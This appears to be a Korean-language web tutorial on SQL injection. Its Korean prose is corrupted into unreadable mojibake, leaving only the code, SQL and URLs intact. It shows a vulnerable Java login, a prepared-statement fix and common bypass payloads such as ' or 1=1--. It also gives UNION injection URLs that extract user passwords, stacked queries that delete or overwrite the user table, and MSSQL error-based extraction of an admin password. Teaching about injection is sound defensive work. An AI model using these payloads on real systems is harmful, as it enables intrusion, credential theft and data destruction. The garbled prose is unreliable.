¾È±Ô °øºÎ¹æ

security > SQL Injection ¿¡ ´ëÇÑ ÀÌÇØ

µî·ÏÀÏ : 2017-06-30 15:50 Á¶È¸¼ö : 62,885

1. SQL Injection ÀÇ ÀÌÇØ



µµÇ¥¿¡¼­µµ ¾Ë¼ö ÀÖµíÀÌ SQL InjectionÀ¸·Î ÀÎÇÑ ÇØÅ·ÀÌ °¡Àå °£´ÜÇÏ°í ½±±â ¶§¹®¿¡ À̸¦ °¡Àå¸ÕÀú ¾Ë¾Æº¸°Ú½À´Ï´Ù
SQL Injection À̶õ ¼­¹ö³ª OSÀÇ ±¸¸ÛÀ» ÀÌ¿ëÇÑ ÇØÅ·¹æ¹ýÀÌ ¾Æ´Ñ À¥ ¾îÇø®ÄÉÀÌ¼Ç ÀÚüÀÇ ¹ö±×¸¦ ÀÌ¿ëÇÑ »õ·Î¿î ÇüÅÂÀÇ À¥ÇØÅ· ¹æ¹ýÀÔ´Ï´Ù
Á¤ÀǸ¦ ÇÏÀÚ¸é 'SQL InjectionÀº À¥ÆäÀÌÁö¸¦ ÅëÇØ ÀÔ·ÂµÈ ÆĶó¹ÌÅÍ°ªÀ» ÀÌ¿ëÇÏ¿© Äõ¸®¸¦ À籸¼ºÇÏ´Â ¹æ¹ýÀÌ´Ù'  ¶ó°í ÇÒ¼ö ÀÖ½À´Ï´Ù
Áï ¸¹Àº À¥ÆäÀÌÁöµéÀº »ç¿ëÀÚ³ª ÇÁ·Î±×·¥ÀÌ »ý¼ºÇÑ ÆĶó¹ÌÅÍ°ªÀ» ÀÌ¿ëÇØ Äõ¸®¸¦ ¸¸µé°í ½ÇÇàÇϴµ¥, À̶§ Á¤»óÀûÀÎ °ªÀÌ ¾Æ´Ñ ÆĶó¹ÌÅÍ°ªÀÌ ÀÔ·ÂµÉ ¶§ ºñÁ¤»óÀûÀÎ Äõ¸®°¡ ½ÇÇàµÇ¸ç, µû¶ó¼­ ¿øÇÏÁö ¾Ê´Â °á°ú°¡ ³ª¿Ã¼ö ÀÖ´Ù´Â °ÍÀÔ´Ï´Ù 
 
ÀÌÇظ¦ À§ÇØ ¹Ù·Î ÄÚµå·Î µé¾î°¡ º¾½Ã´Ù
¾Æ·¡ ÄÚµå´Â »ç¿ëÀÚ°¡ ÀÔ·ÂÇÑ ·Î±×ÀÎ ¾ÆÀ̵ð¿Í ºñ¹Ð¹øÈ£·Î ·Î±×ÀÎÀ» ½ÃµµÇÏ´Â ·ÎÁ÷ÀÔ´Ï´Ù
 
// ÀԷ¹ÞÀº »ç¿ëÀÚ ¾ÆÀ̵ð¿Í ºñ¹Ð¹øÈ£
String param1 = request.getParameter("user_id");
String param2 = request.getParameter("user_pw");

rs = stmt.executeQuery("SELECT count(*) FROM user_t WHERE userid = '"+param1+"' AND userpw = '"+param2+"'");

rs.next();

if (rs.getInt(1) == 1) 
{ 
   // ·Î±×ÀÎ ¼º°ø·ÎÁ÷

} else 
{ 
   // ·Î±×ÀÎ ½ÇÆзÎÁ÷
}
¹«¾ùÀÌ À߸øµÇ¾úÀ» ±î¿ä?

ÄÚµå»óÀ¸·Î º¸¸é ½ÇÇàÇϴµ¥ ÀüÇô ÀÌ»óÀÌ ¾ø´Â ÄÚµåÀÌÁö¸¸ ÂÍ ¾Æ´Â»ç¶÷µé¿¡°Ô´Â ºñ¹Ð¹øÈ£ ¾øÀÌ ¾ÆÀ̵𸸠¾È´Ù¸é ·Î±×ÀÎÀ» ¼º°øÇÒ ¼ö ÀÖ´Â ·ÎÁ÷ÀÔ´Ï´Ù


¾Æ¾Æµð°¡ goodbug ÀÌ°í ºñ¹Ð¹øÈ£°¡ 1111 ÀÎ °èÁ¤ÀÌ ÀÖ´Ù°í Çսô٠^^;
ÀԷ¶õ¿¡ googbug / 1111 À» ÀÔ·ÂÇÏ´Ï Á¤»óÀûÀ¸·Î ·Î±×ÀÎÀÌ true°¡ µÇ¾ú½À´Ï´Ù
ÇÏÁö¸¸ ¸¸¾à ´ÙÀ½°ú °°ÀÌ »ç¿ëÀÚ°¡ ÀÔ·ÂÇÑ´Ù¸é ¾î¶»°Ô µÉ±î¿ä?



·Î±×ÀÎÀÌ µË´Ï´Ù!
ºñ¹Ð¹øÈ£¿¡ »ó°ü¾øÀÌ ·Î±×ÀÎÀÌ µÇ´Â±º¿ä!!
Çϳª ´õ º¸µµ·Ï ÇÏÁö¿ä



À§ÀÇ ¼Ò½º´Â MySQLÀ» »ç¿ëÇÏ°í ÀÖ½À´Ï´Ù
MySQLÀÇ ¶óÀÎ ÁÖ¼®Ã³¸®´Â # ÀÔ´Ï´Ù ¾Æ½ÃÁÒ?
Áï µÞºÎºÐ password¸¦ üũÇÏ´Â ·ÎÁ÷Àº ÁÖ¼®Ã³¸®µÇ¾î ¹ö¸°°Ì´Ï´Ù ¶ß¾Æ~
°°Àº ÀǹÌÀÌÁö¸¸ ¾Æ·¡Ã³·³ ¿©·¯°¡Áö ¼¯¾î¼­µµ °¡´ÉÇÕ´Ï´Ù



ÀÌ°Ô ¸¸¾à °ü¸®ÀÚ ¾ÆÀÌµð¿´´Ù¸é ¹®Á¦´Â ´õ ½É°¢ÇØ Áý´Ï´Ù
ÀÌó·³ »ç¿ëÀÚÀÇ °íÀÇ·Î ÀÎÇÑ SQLÀ» Á¶ÀÛÇÏ¿© À¥ ¾îÇø®ÄÉÀÌ¼Ç ÀÚü¸¦ °ø°ÝÇϴ°ÍÀÌ SQL Injection ÀÔ´Ï´Ù
±×·¸´Ù¸é À§ÀÇ ¼Ò½º¸¦ ¾î¶»°Ô º¯°æÇÏ´Â°Ô ÁÁÀ»±î¿ä?
 

// ÀԷ¹ÞÀº »ç¿ëÀÚ ¾ÆÀ̵ð¿Í ºñ¹Ð¹øÈ£
String param1 = request.getParameter("user_id");
String param2 = request.getParameter("user_pw");

//validate ¶ó´Â ÇÔ¼ö´Â ¾ÆÀ̵ð¿Í ºñ¹Ð¹øÈ£ »ý¼º½Ã »ý¼º ·ÎÁ÷¿¡ ¸Â°Ô µÇ¾ú´ÂÁö üũÇÏ´Â ÇÔ¼ö

//¸¸¾à Ư¼ö¹®ÀÚ³ª ¾ÆÀ̵ð »ý¼º ±ÔÄ¢¿¡ ¸ÂÁö ¾Ê´Â °ªÀ̸é exceptionÀ» throw ÇÑ´Ù

validateID(param1);  
validatePW(param2);

pstmt = conn.prepareStatement("SELECT userid, userpw FROM user_t WHERE userid = ?");
pstmt.setString(1, param1);
rs = pstmt.executeQuery();

if (rs.next()) 
{ 
	// ¹®ÀÚ¸¦ Á÷Á¢ ºñ±³ÇÑ´Ù (´ë¼Ò¹®ÀÚ ±¸ºÐ)
 
	if (rs.getString(1).equals(param1) && rs.getString(2).equals(param2)) 
	{ 
		 // ·Î±×ÀÎ ¼º°ø·ÎÁ÷ 
	} else 
	{
		 // ·Î±×ÀÎ ºñ¹Ð¹øÈ£ ȤÀº ¾ÆÀ̵ð ¿À·ù ·ÎÁ÷
	}
} else 
{ 
//·Î±×ÀÎ ºÎÀç ¾ÆÀ̵ð ¿À·ù ·ÎÁ÷
}

À§Ã³·³ ÇÏ¸é ¾î´ÀÁ¤µµ µÇ°Ú³×¿ä ^^

2. SQL Injection ÆÐÅÏ

±×·³ SQL Injection¿¡ »ç¿ëµÉ¸¸ÇÑ ¹®ÀÚ¿­¿¡´Â ¾î¶²°ÍÀÌ ÀÖÀ»±î¿ä?
¾Æ·¡ ¹®ÀÚµéÀº ÇØ´ç µ¥ÀÌÅͺ£À̽º¿¡µû¶ó ´Þ¶óÁú ¼ö ÀÖ½À´Ï´Ù

¹®ÀÚ

¼³¸í

' ¹®ÀÚ µ¥ÀÌÅÍ ±¸ºÐ±âÈ£
; Äõ¸® ±¸ºÐ ±âÈ£
--, # ÇØ´ç¶óÀÎ ÁÖ¼® ±¸ºÐ ±âÈ£
/* */ /* ¿Í */ »çÀÌ ±¸¹® ÁÖ¼®

ÀϹÝÀûÀ¸·Î ¾Ë·ÁÁø ¸î°¡Áö ÆÐÅÏÀÔ´Ï´Ù

' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
' or password like '%

ÀÌ·¯ÇÑ ÆÐÅϵé·Î Ÿ°Ù µ¥ÀÌÅͺ£À̽º°¡ ¿À¶óŬÀÎÁö MySQLÀε¥ ȤÀº M$SQLÀÎÁö È®ÀÎÇÒ ÇÊ¿ä°¡ ÀÖÀ»°Ì´Ï´Ù. ¿Ö³ÄÇÏ¸é ±×°Í¿¡ µû¶ó ´Ù¾çÇÑ °ø°Ý ¹æ¹ýÀÌ »ý±â±â ¶§¹®ÀÔ´Ï´Ù

±×·³ ÀÌ·¯ÇÑ ±¸ºÐÀº ±×·³¾î¶»°Ô ÇÒ±î¿ä?
SQL InjectionÀ» ÀÌ¿ëÇÏ¿© ´ÙÀ½°ªÀÌ trueÀÎÁö falseÀÎÁö È®ÀÎÇÕ´Ï´Ù
AND 'abcd' = 'ab' + 'cd'

true ÀÌ¸é ¿À¶óŬÀº ¾Æ´Ò°Ì´Ï´Ù ¿À¶óŬÀº ||À» ¹®ÀÚ¿­ concat À¸·Î »ç¿ëÇÏÁö¿ä

AND 'abcd' = 'ab' || 'cd'

true ÀÌ¸é ¿À¶óŬÀÔ´Ï´Ù
rownum µµ ±¸ºÐÇÒ¼ö ÀÖ´Â ÁÁÀº ¿¹ÀÔ´Ï´Ù
MySQlÀº ¶óÀÎ ÁÖ¼®ÀÌ #ÀÔ´Ï´Ù ´Ù¸¥ ´ëºÎºÐ µ¥ÀÌÅͺ£À̽º´Â --¸¦ »ç¿ëÇÏÁö¿ä
#À» SQL Injection ÇÏ¿´À»¶§ À§ÀÇ ¿¹Ã³·³ ¿¡·¯°¡ ¹ß»ýÇÏÁö ¾ÊÀ¸¸é MySQLÀÔ´Ï´Ù ¶Ç limit µîµµ µµ¿òÀÌ µÉ°Ì´Ï´Ù

ÀÌó·³ ÇØ´ç µ¥ÀÌÅͺ£À̽º°¡ °íÀ¯ÇÏ°Ô »ç¿ëÇÏ´Â keyµéÀ» SQL InjectionÇÏ¿© ±¸ºÐÇÒ ¼ö ÀÖ½À´Ï´Ù

3. UNION SQL Injection

À§¿Í°°ÀÌ WHEREÀý¿¡ SQL InjectionÀ» »ç¿ëÇÏ¿© Á¶°ÇÀýÀ» ¹«·ÂÈ­ ½ÃÅ°´Â ¹æ¹ýµµ ÀÖÁö¸¸ UNION SQL InjectionÀº ¿øÇÏ´Â Á¤º¸µµ »Ì¾Æº¼ ¼ö ÀÖ½À´Ï´Ù.

¾Æ·¡ ÄÚµå´Â °Ô½Ã¹°¹øÈ£¸¦ ÆĶó¹ÌÅÍ·Î ¹Þ¾Æ ÇØ´ç °Ô½Ã¹°ÀÌ Á¸ÀçÇÏ¸é ±Û¹øÈ£¿Í ±ÛÁ¦¸ñ, ±Û³»¿ëÀ» Á¶È¸ÇÏ´Â ÄÚµåÀÔ´Ï´Ù
 

String param1 = request.getParameter("boardno");
rs = stmt.executeQuery("SELECT boardno, boardtitle, boardcontent FROM board_t WHERE boardno = '"+param1+"'");

if (rs.next()) 
{ 
    out.println(rs.getString(1)+"
");
    out.println(rs.getString(2)+"
");
    out.println(rs.getString(3)+"
");
}


±Û¹øÈ£°¡ 1134896409234 ÀÎ °Ô½Ã¹°Àº ´ÙÀ½°ú °°ÀÌ URLÀÌ ¿äûµÇ¾î Á¶È¸°¡ µÉ°Ì´Ï´Ù

¿äû URL 

/read.jsp?bno=1134896409234 

ÇÏÁö¸¸ À§¿Í °°ÀÌ Ãß°¡ÀûÀ¸·Î UNION SQL InjectionÀÌ µé¾î°¥ ¼ö ÀÖ½À´Ï´Ù

/read.jsp?bno=1134896409234' UNION SELECT '1', userid, userpw FROM user_t WHERE userid = 'goodbug'  ORDER BY boardno ASC #

±×·¯¸é goodbug¶ó´Â ¾ÆÀ̵ðÀÇ ºñ¹Ð¹øÈ£°¡ ±×¸¸ Á¶È¸µÇ¾î ¹ö¸³´Ï´Ù!!
±×·³ user_t ¶ó´Â Å×À̺í°ú ,userid, userpw¶ó´Â Ä÷³¸íµéÀº ¾î¶»°Ô ¾Ë¼ö ÀÖÀ»±î¿ä?
¿À¶óŬ À̶ó¸é ´ÙÀ½°ú °°ÀÌ ¾Ë¾Æ³¾ ¼ö ÀÖ½À´Ï´Ù

/read.jsp?bno=1134896409234' UNION SELECT '1', tname, '' FROM user_tables WHERE like '%user%' ORDER BY boardno ASC --

Å×ÀÌºí ¸íÀ» ¾Ë¾Æ³Â´Ù¸é ÀÌÁ¦ Ä÷³¸íÀ» ¾Ë¾ÆºÁ¾ß°ÚÁÒ
¿À¶óŬÀ̶ó¸é user_tab_columns view¸¦ ÅëÇØ ¾Ë¾Æº¼ ¼ö ÀÖ½À´Ï´Ù

SELECT * FROM user_tab_columns WHERE table_name = 'user_t' 

¹°·Ð Çѹø¿¡ ¾Ë¾Æ³¾¼ö ¾øÀ¸¸ç ¸¹Àº ½ÃÇàÂø¿À¸¦ °Þ¾î¾ß Çϴ°ÍÀº ÇʼöÀÔ´Ï´Ù
±×·¡¼­ Á¦·Îº¸µå³ª Unicorn °°Àº °ø°³ °Ô½ÃÆÇÀÎ °æ¿ì´Â Ÿ°ÙÀÌ µÇ±â ½±»óÀÔ´Ï´Ù
MySQlÀ̳ª Oracle JDBC¿¡¼­´Â ´ÙÇàÈ÷µµ ; ¹®ÀÚ¸¦ ÀÌ»ó ij¸¯ÅÍ·Î º¸°í ¿¡·¯¸¦ ¹ÝȯÇÕ´Ï´Ù
ÇÏÁö¸¸ ±×·¸Áö ¾ÊÀº JDBC°¡ ÀÖµû¸é Å«ÀÏÀÔ´Ï´Ù ¾Æ·¡¿Í °°Àº Äڵ尡 °¡´ÉÇϱ⠶§¹®ÀÌÁö¿ä

/read.asp?bno=1134896409234';DELETE FROM user_t
/read.asp?bno=1134896409234';UPDATE user_t SET userpw = '1111'


PHP³ª ASPÀÎ °æ¿ì¿¡´Â °¡´ÉÇÑ Äõ¸® ÀÔ´Ï´Ù
ÀÌÁ¦ ´ë°­ SQL Injection¿¡ ´ëÇØ °¨ÀÌ ÀâÈ÷½Ã³ª¿ä?

4. ¿¡·¯ ¸Þ¼¼Áö¸¦ ÅëÇÑ Á¤º¸¼öÁý

admin_login À̶ó´Â °ü¸®ÀÚ Å×À̺í°ú login_nameÀ̶ó´Â Ä÷³À» ¾Ë¾Æ ³Â´Ù°í ÇÑ´Ù¸é..
M$SQLÀÎ °æ¿ì¸¦ ¿¹¸¦ µé°Ú½À´Ï´Ù

/read.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--


Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' 
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'goodbug' to a column of data type int. 
/read.asp, line 5


¶ó´Â ¸Þ¼¼Áö°¡ ³ª¿É´Ï´Ù
¿©±â¼­ ¹«¼ø Á¤º¸¸¦ ¾Ë¼ö ÀÖÀ»±î¿ä? ¹Ù·Î goodbug ¶ó´Â °ü¸®ÀÚ ¾ÆÀ̵𰡠ÀÖ´Ù´Â °ÍÀ» ¾Ë¾Ò½À´Ï´Ù
±×·³ ¿©Âü¿¡ ºñ¹Ð¹øÈ£±îÁö ¾Ë¾Æº¾½Ã´Ù

/read.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='goodbug'--


Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' 
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '1111' to a column of data type int. 
/read.asp, line 5


Áï nvarchar ŸÀÔÀÇ Ä÷³À» intÇüÀ¸·Î convert¸¦ À¯µµÇϸ鼭 ÇØ´ç°ªÀ» ¿¡·¯¸Þ¼¼Áö·ÎºÎÅÍ ÃëµæÇÒ ¼ö ÀÖ½À´Ï´Ù
°¡´ÉÇÏ¸é ¿¡·¯ ¸Þ¼¼Áö´Â ÀÏ¹Ý À¯Àú¿¡°Ô »Ñ¸®Áö ¸»¾Æ¾ß °ÚÁö¿ä?

 
¡Ø Ȥ½Ã µµ¿òÀÌ µÇ¼Ì´Ù¸é ´ñ±Û¿¡ ÇѸ¶µð ³²°ÜÁÖ¼¼¿ä!
ÀÛ¼ºÀÚ   ºñ¹Ð¹øÈ£
ÀÚµ¿±Û ¹æÁö     (ÀÚµ¿±Û ¹æÁö ±â´ÉÀÔ´Ï´Ù.)
³»¿ë   ´ñ±Û´Þ±â 
À̸ÞÀÏ ¹®ÀÇ : cak0280@nate.com  
Copyright 2000 By ENTERSOFT.KR All Rights Reserved.